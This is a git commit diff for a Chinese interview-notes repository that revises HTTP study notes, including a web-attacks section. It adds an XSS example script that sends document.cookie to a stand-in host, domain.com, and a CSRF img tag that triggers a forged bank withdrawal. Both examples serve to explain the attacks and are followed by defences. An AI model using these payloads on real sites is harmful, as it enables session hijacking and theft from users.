Merge remote-tracking branch 'upstream/master'

This commit is contained in:
MachineChen 2018-04-02 07:37:02 +08:00
commit 90e9425dd5
651 changed files with 1979 additions and 3588 deletions

View File

@ -1,7 +1,13 @@
<!-- ![](https://img.shields.io/badge/update-today-blue.svg) ![](https://img.shields.io/badge/gitbook-making-lightgrey.svg)</br> -->
| | Ⅱ | Ⅲ | Ⅳ | | Ⅵ | Ⅶ | Ⅷ | Ⅸ | | Ⅺ |
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:| :-------:|
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 资料下载[:arrow_down:](#资料下载-arrow_down)| 后记[:memo:](#后记-memo) |
| | Ⅱ | Ⅲ | Ⅳ | | Ⅵ | Ⅶ | Ⅷ | Ⅸ | |
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
</br>
:loudspeaker: 本仓库的内容不涉及商业行为,不向读者收取任何费用。
:loudspeaker: This repository is not involving commercial activities, and does not charge readers any fee.
</br></br>
## 网络 :cloud:
@ -129,23 +135,40 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
Google 开源项目的代码风格规范。
## 资料下载 :arrow_down:
> [Download](https://github.com/CyC2018/Interview-Notebook/blob/master/other/download.md)
## 后记 :memo:
> [Postface](https://github.com/CyC2018/Interview-Notebook/blob/master/other/postface.md)
**关于仓库**
<!-- ## Donate
本仓库是笔者在准备 2018 年春招实习过程中的学习总结,内容以计算机书籍的学习笔记为主,在整理重点知识的同时会尽量保证知识的系统性。
[Alipay](https://github.com/CyC2018/InterviewNotes/blob/master/other/alipay.md)
**关于贡献**
<img src="./other/alipay.png" alt="" width="150"/> -->
因为大部分内容是笔者一个字一个字打上去的,所有难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。
## License
笔者能力有限,很多内容还不够完善。如果您希望和笔者一起完善这个仓库,可以在发表一个 Issue表明您想要添加的内容笔者会及时查看。
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/3.0/cn/88x31.png" /></a>
因为不打算将这个仓库做成一个大而全的面试宝典,只希望添加一些比较通用的基础知识,或者是与 Java 和分布式相关的内容,但是不添加 Java Web 相关的内容。
您也可以在 Issues 中发表关于改进本仓库的建议。
**关于上传**
笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上实现了一整套自动化上传方案包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记,所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
**关于排版**
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线排版工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。
不使用 `![]()` 这种方式来引用图片是为了能够控制图片以合适的大小显示。而且 GFM 不支持 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` ,所以只能使用 img 标签来引用图片。
**关于转载**
本仓库内容使用到的资料都会在最后面的参考资料中给出引用链接,希望您在使用本仓库的内容时也能给出相应的引用链接。
**鸣谢**
[TeeKee](https://github.com/linw7)
本作品采用 <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/cn/">知识共享署名-非商业性使用-相同方式共享 3.0 中国大陆许可协议</a> 进行许可。

View File

@ -79,7 +79,7 @@ Git 把每次提交都连成一条时间线。分支使用指针来实现,例
# 冲突
当两个分支都对同一个文件进行了修改,在分支合并时就会产生冲突。
当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。
<div align="center"> <img src="../pics//58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>

View File

@ -5,8 +5,8 @@
* [请求和响应报文](#请求和响应报文)
* [二、HTTP 方法](#二http-方法)
* [GET](#get)
* [POST](#post)
* [HEAD](#head)
* [POST](#post)
* [PUT](#put)
* [PATCH](#patch)
* [DELETE](#delete)
@ -27,8 +27,9 @@
* [Cookie](#cookie)
* [缓存](#缓存)
* [持久连接](#持久连接)
* [管线化处理](#管线化处理)
* [编码](#编码)
* [分块传输](#分块传输)
* [分块传输编码](#分块传输编码)
* [多部分对象集合](#多部分对象集合)
* [范围请求](#范围请求)
* [内容协商](#内容协商)
@ -41,10 +42,16 @@
* [七、Web 攻击技术](#七web-攻击技术)
* [攻击模式](#攻击模式)
* [跨站脚本攻击](#跨站脚本攻击)
* [SQL 注入攻击](#sql-注入攻击)
* [跨站点请求伪造](#跨站点请求伪造)
* [SQL 注入攻击](#sql-注入攻击)
* [拒绝服务攻击](#拒绝服务攻击)
* [八、各版本比较](#八各版本比较)
* [八、GET 和 POST 的区别](#八get-和-post-的区别)
* [参数](#参数)
* [安全](#安全)
* [幂等性](#幂等性)
* [可缓存](#可缓存)
* [XMLHttpRequest](#xmlhttprequest)
* [九、各版本比较](#九各版本比较)
* [HTTP/1.0 与 HTTP/1.1 的区别](#http10-与-http11-的区别)
* [HTTP/1.1 与 HTTP/2.0 的区别](#http11-与-http20-的区别)
* [参考资料](#参考资料)
@ -67,17 +74,17 @@
URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
<div align="center"> <img src="../pics//4102b7d0-39b9-48d8-82ae-ac4addb7ebfb.jpg"/> </div><br>
<div align="center"> <img src="../pics//f716427a-94f2-4875-9c86-98793cf5dcc3.jpg" width="400"/> </div><br>
## 请求和响应报文
### 1. 请求报文
<div align="center"> <img src="../pics//22b39f77-ac47-4978-91ed-84aaf457644c.jpg"/> </div><br>
<div align="center"> <img src="../pics//HTTP_RequestMessageExample.png" width=""/> </div><br>
### 2. 响应报文
<div align="center"> <img src="../pics//00d8d345-cd4a-48af-919e-209d2788eca7.jpg"/> </div><br>
<div align="center"> <img src="../pics//HTTP_ResponseMessageExample.png" width=""/> </div><br>
# 二、HTTP 方法
@ -89,28 +96,6 @@ URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基
当前网络请求中,绝大部分使用的是 GET 方法。
## POST
> 传输实体主体
POST 主要目的不是获取资源,而是传输存储在内容实体中的数据。
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
```
```
POST /test/demo_form.asp HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
```
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP Header 和 Data 一并发送出去,服务器响应 200OK并返回数据。而使用 POST 方法,浏览器先发送 Header服务器响应 100Continue之后浏览器再发送 Data最后服务器响应 200OK并返回数据。
## HEAD
> 获取报文首部
@ -119,6 +104,14 @@ GET 和 POST 的另一个区别是,使用 GET 方法,浏览器会把 HTTP He
主要用于确认 URL 的有效性以及资源更新的日期时间等。
## POST
> 传输实体主体
POST 主要用来传输数据,而 GET 主要用来获取资源。
更多 POST 与 GET 的比较请见第八章。
## PUT
> 上传文件
@ -172,13 +165,13 @@ DELETE /file.html HTTP/1.1
> 要求用隧道协议连接代理
要求在于代理服务器通信时建立隧道,使用 SSLSecure Sokets Layer安全套接字)和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。
要求在与代理服务器通信时建立隧道,使用 SSLSecure Sockets Layer安全套接层)和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。
```html
CONNECT www.example.com:443 HTTP/1.1
```
<div align="center"> <img src="../pics//5994928c-3d2d-45bd-abb1-adc4f5f4d775.jpg"/> </div><br>
<div align="center"> <img src="../pics//dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg" width=""/> </div><br>
## TRACE
@ -190,8 +183,6 @@ CONNECT www.example.com:443 HTTP/1.1
通常不会使用 TRACE并且它容易受到 XST 攻击Cross-Site Tracing跨站追踪因此更不会去使用它。
<div align="center"> <img src="../pics//c8637fd2-3aaa-46c4-b7d9-f24d3fa04781.jpg"/> </div><br>
# 三、HTTP 状态码
服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
@ -204,6 +195,10 @@ CONNECT www.example.com:443 HTTP/1.1
| 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 |
| 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 |
### 1XX 信息
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
## 2XX 成功
- **200 OK**
@ -220,9 +215,9 @@ CONNECT www.example.com:443 HTTP/1.1
- **303 See Other** :和 302 有着相同的功能,但是 303 明确要求客户端应该采用 GET 方法获取资源。
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会 在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
- 注:虽然 HTTP 协议规定 301、302 状态下重定向时不允许把 POST 方法改成 GET 方法,但是大多数浏览器都会在 301、302 和 303 状态下的重定向把 POST 方法改成 GET 方法。
- **304 Not Modified** 如果请求报文首部包含一些条件例如If-MatchIf-ModifiedSinceIf-None-MatchIf-RangeIf-Unmodified-Since但是不满足条件,则服务器会返回 304 状态码。
- **304 Not Modified** 如果请求报文首部包含一些条件例如If-MatchIf-ModifiedSinceIf-None-MatchIf-RangeIf-Unmodified-Since如果不满足条件,则服务器会返回 304 状态码。
- **307 Temporary Redirect** :临时重定向,与 302 的含义类似,但是 307 要求浏览器不会把重定向请求的 POST 方法改成 GET 方法。
@ -232,8 +227,6 @@ CONNECT www.example.com:443 HTTP/1.1
- **401 Unauthorized** 该状态码表示发送的请求需要有认证信息BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。
<div align="center"> <img src="../pics//b1b4cf7d-c54a-4ff1-9741-cd2eea331123.jpg"/> </div><br>
- **403 Forbidden** :请求被拒绝,服务器端没有必要给出拒绝的详细理由。
- **404 Not Found**
@ -323,7 +316,7 @@ CONNECT www.example.com:443 HTTP/1.1
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且在下一次发送请求时包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。
Cookie 是服务器发送给客户端的数据,该数据会被保存在浏览器中,并且客户端的下一次请求报文会包含该数据。通过 Cookie 可以让服务器知道两个请求是否来自于同一个客户端,从而实现保持登录状态等功能。
### 1. 创建过程
@ -346,7 +339,16 @@ Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
### 2. Set-Cookie
### 2. 分类
- 会话期 Cookie浏览器关闭之后它会被自动删除也就是说它仅在会话期内有效。
- 持久性 Cookie指定一个特定的过期时间Expires或有效期Max-Age之后就成为了持久性的 Cookie。
```html
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
### 3. Set-Cookie
| 属性 | 说明 |
| :--: | -- |
@ -354,21 +356,23 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
| expires=DATE | Cookie 的有效期(若不明确指定则默认为浏览器关闭前为止) |
| path=PATH | 将服务器上的文件目录作为 Cookie 的适用对象(若不指定则默认为文档所在的文件目录) |
| domain=域名 | 作为 Cookie 适用对象的域名(若不指定则默认为创建 Cookie 的服务器的域名) |
| Secure | 仅在 HTTPS 安全通信时才会发送 Cookie |
| Secure | 仅在 HTTPs 安全通信时才会发送 Cookie |
| HttpOnly | 加以限制,使 Cookie 不能被 JavaScript 脚本访问 |
### 3. Session 和 Cookie 区别
### 4. Session 和 Cookie 区别
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的Session 用于服务器端Cookie 用于客户端。
Session 是服务器用来跟踪用户的一种手段,每个 Session 都有一个唯一标识Session ID。当服务器创建了一个 Session 时,给客户端发送的响应报文包含了 Set-Cookie 字段,其中有一个名为 sid 的键值对,这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中,并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的Session 用于服务器端Cookie 用于客户端。
### 4. 浏览器禁用 Cookie 的情况
### 5. 浏览器禁用 Cookie 的情况
会使用 URL 重写技术,在 URL 后面加上 sid=xxx 。
### 5. 使用 Cookie 实现用户名和密码的自动填写
### 6. 使用 Cookie 实现用户名和密码的自动填写
网站脚本会自动从保存在浏览器中的 Cookie 读取用户名和密码,从而实现自动填写。
但是如果 Set-Cookie 指定了 HttpOnly 属性,就无法通过 Javascript 脚本获取 Cookie 信息,这是出于安全性考虑。
## 缓存
### 1. 优点
@ -413,21 +417,21 @@ Expires 字段也可以用于告知缓存服务器该资源什么时候会过期
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源,如果每进行一次 HTTP 通信就要断开一次 TCP 连接,连接建立和断开的开销会很大。持久连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
<div align="center"> <img src="../pics//c73a0b78-5f46-4d2d-a009-dab2a999b5d8.jpg"/> </div><br>
<div align="center"> <img src="../pics//450px-HTTP_persistent_connection.svg.png" width=""/> </div><br>
持久连接需要使用 Connection 首部字段进行管理。HTTP/1.1 开始 HTTP 默认是持久化连接的,如果要断开 TCP 连接,需要由客户端或者服务器端提出断开,使用 Connection : close而在 HTTP/1.1 之前默认是非持久化连接的,如果要维持持续连接,需要使用 Connection : Keep-Alive。
**管线化方式** 可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
## 管线化处理
<div align="center"> <img src="../pics//6943e2af-5a70-4004-8bee-b33d60f39da3.jpg"/> </div><br>
HTTP/1.1 支持管线化处理,可以同时发送多个请求和响应,而不需要发送一个请求然后等待响应之后再发下一个请求。
## 编码
编码Encoding主要是为了对实体进行压缩。常用的编码有gzip、compress、deflate、identity其中 identity 表示不执行压缩的编码格式。
## 分块传输
## 分块传输编码
分块传输Chunked Transfer Coding可以把数据分割成多块,让浏览器逐步显示页面。
Chunked Transfer Coding可以把数据分割成多块,让浏览器逐步显示页面。
## 多部分对象集合
@ -454,7 +458,7 @@ Content-Type: text/plain
如果网络出现中断,服务器只发送了一部分数据,范围请求使得客户端能够只请求未发送的那部分数据,从而避免服务器端重新发送所有数据。
在请求报文首部中添加 Range 字段,然后指定请求的范围,例如 Range:bytes=5001-10000。请求成功的话服务器发送 206 Partial Content 状态。
在请求报文首部中添加 Range 字段指定请求的范围,请求成功的话服务器发送 206 Partial Content 状态。
```html
GET /z4d4kWk.jpg HTTP/1.1
@ -478,7 +482,9 @@ Content-Length: 1024
## 虚拟主机
使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
使用 Host 首部字段进行处理。
## 通信数据转发
@ -486,23 +492,21 @@ Content-Length: 1024
代理服务器接受客户端的请求,并且转发给其它服务器。
代理服务器一般是透明的,不会改变 URL。
使用代理的主要目的是:缓存、网络访问控制以及访问日志记录。
<div align="center"> <img src="../pics//c07035c3-a9ba-4508-8e3c-d8ae4c6ee9ee.jpg"/> </div><br>
代理服务器分为正向代理和反向代理两种,用户察觉得到正向代理的存在,而反向代理一般位于内部网络中,用户察觉不到。
<div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
<div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
### 2. 网关
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
<div align="center"> <img src="../pics//81375888-6be1-476f-9521-42eea3e3154f.jpg"/> </div><br>
### 3. 隧道
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。
<div align="center"> <img src="../pics//64b95403-d976-421a-8b45-bac89c0b5185.jpg"/> </div><br>
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。隧道本身不去解析 HTTP 请求。
# 六、HTTPs
@ -512,17 +516,37 @@ HTTP 有以下安全性问题:
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
3. 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Socket Layer通信再由 SSL 和 TCP 通信。通过使用 SSLHTTPs 提供了加密、认证和完整性保护。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。
通过使用 SSLHTTPs 具有了加密、认证和完整性保护。
<div align="center"> <img src="../pics//ssl-offloading.jpg" width="700"/> </div><br>
## 加密
有两种加密方式:对称密钥加密和公开密钥加密。对称密钥加密的加密和解密使用同一密钥,而公开密钥加密使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
### 1. 对称密钥加密
对称密钥加密的缺点:无法安全传输密钥;公开密钥加密的缺点:相对来说更耗时
Symmetric-Key Encryption加密的加密和解密使用同一密钥
HTTPs 采用 **混合的加密机制** ,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中,共享密钥即对称密钥)
- 优点:运算速度快;
- 缺点:密钥容易被获取。
<div align="center"> <img src="../pics//110b1a9b-87cd-45c3-a21d-824623715b33.jpg"/> </div><br>
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br>
### 2. 公开密钥加密
Public-Key Encryption使用一对密钥用于加密和解密分别为公开密钥和私有密钥。公开密钥所有人都可以获得通信发送方获得接收方的公开密钥之后就可以使用公开密钥进行加密接收方收到通信内容后使用私有密钥解密。
- 优点:更为安全;
- 缺点:运算速度慢;
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br>
### 3. HTTPs 采用的加密方式
HTTPs 采用混合的加密机制,使用公开密钥加密用于传输对称密钥,之后使用对称密钥加密进行通信。(下图中的 Session Key 就是对称密钥)
<div align="center"> <img src="../pics//How-HTTPS-Works.png" width="600"/> </div><br>
## 认证
@ -532,18 +556,16 @@ HTTPs 采用 **混合的加密机制** ,使用公开密钥加密用于传输
进行 HTTPs 通信时,服务器会把证书发送给客户端,客户端取得其中的公开密钥之后,先进行验证,如果验证通过,就可以开始通信。
除了上诉提到的服务器端证书之外,还有客户端证书,客户端证书的目的就是让服务器对客户端进行验证。客户端证书需要用户自行安装,只有在业务需要非常高的安全性时才使用客户端证书,例如网上银行。
<div align="center"> <img src="../pics//mutualssl_small.png" width=""/> </div><br>
使用 OpenSSL 这套开源程序,每个人都可以构建一套属于自己的认证机构,从而自己给自己颁发服务器证书。浏览器在访问该服务器时,会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。
## 完整性
SSL 提供摘要功能来验证完整性。
SSL 提供报文摘要功能来验证完整性。
# 七、Web 攻击技术
Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
## 攻击模式
### 1. 主动攻击
@ -552,13 +574,27 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
### 2. 被动攻击
设下圈套,让用户发送有攻击代码的 HTTP 请求,那么用户发送了该 HTTP 请求之后就会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
设下圈套,让用户发送有攻击代码的 HTTP 请求,用户会泄露 Cookie 等个人信息,具有代表性的有跨站脚本攻击和跨站请求伪造。
## 跨站脚本攻击
### 1. 概念
Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包含 HTML 和 JavaScript。通过利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。
跨站脚本攻击Cross-Site Scripting, XSS可以将代码注入到用户浏览的网页上这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和 Cookie 等各种内容。
例如有一个论坛网站,攻击者可以在上面发表以下内容:
```html
<script>location.href="//domain.com/?c=" + document.cookie</script>
```
之后该内容可能会被渲染成以下形式:
```html
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
```
另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
### 2. 危害
@ -568,7 +604,7 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
### 3. 防范手段
**(一)过滤特殊字符**
(一)过滤特殊字符
许多语言都提供了对 HTML 的过滤:
@ -577,7 +613,7 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
- Java 的 xssprotect (Open Source Library)。
- Node.js 的 node-validator。
**(二)指定 HTTP 的 Content-Type**
(二)指定 HTTP 的 Content-Type
通过这种方式,可以避免内容被当成 HTML 解析,比如 PHP 语言可以使用以下代码:
@ -587,6 +623,44 @@ Web 攻击的主要目标是使用 HTTP 协议的 Web 应用。
?>
```
## 跨站点请求伪造
### 1. 概念
跨站点请求伪造Cross-site request forgeryCSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:
```
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
```
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
```
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
```
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
## SQL 注入攻击
### 1. 概念
@ -637,36 +711,6 @@ strSQL = "SELECT * FROM users;"
- 其他,使用其他更安全的方式连接 SQL 数据库。例如已修正过 SQL 注入问题的数据库连接组件,例如 ASP.NET 的 SqlDataSource 对象或是 LINQ to SQL。
- 使用 SQL 防注入系统。
## 跨站点请求伪造
### 1. 概念
Cross-site request forgeryXSRF是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。
假如一家银行用以执行转账操作的 URL 地址如下:`http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName`
<div align="center"> 那么,一个恶意攻击者可以在另一个网站上放置如下代码:`<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">`</div><br>
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
### 2. 防范手段
**(一)检查 Referer 字段**
HTTP 头中有一个 Referer 字段这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时通常来说Referer 字段应和请求的地址位于同一域名下。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
**(二)添加校验 Token**
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。
## 拒绝服务攻击
### 1. 概念
@ -677,17 +721,91 @@ HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
# 八、各版本比较
# 八、GET 和 POST 的区别
## 参数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
```
GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
```
```
POST /test/demo_form.asp HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
```
## 安全
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
GET 方法是安全的,而 POST 却不是。
安全的方法除了 GET 之外还有HEAD、OPTIONS。
不安全的方法除了 POST 之外还有 PUT、DELETE。
## 幂等性
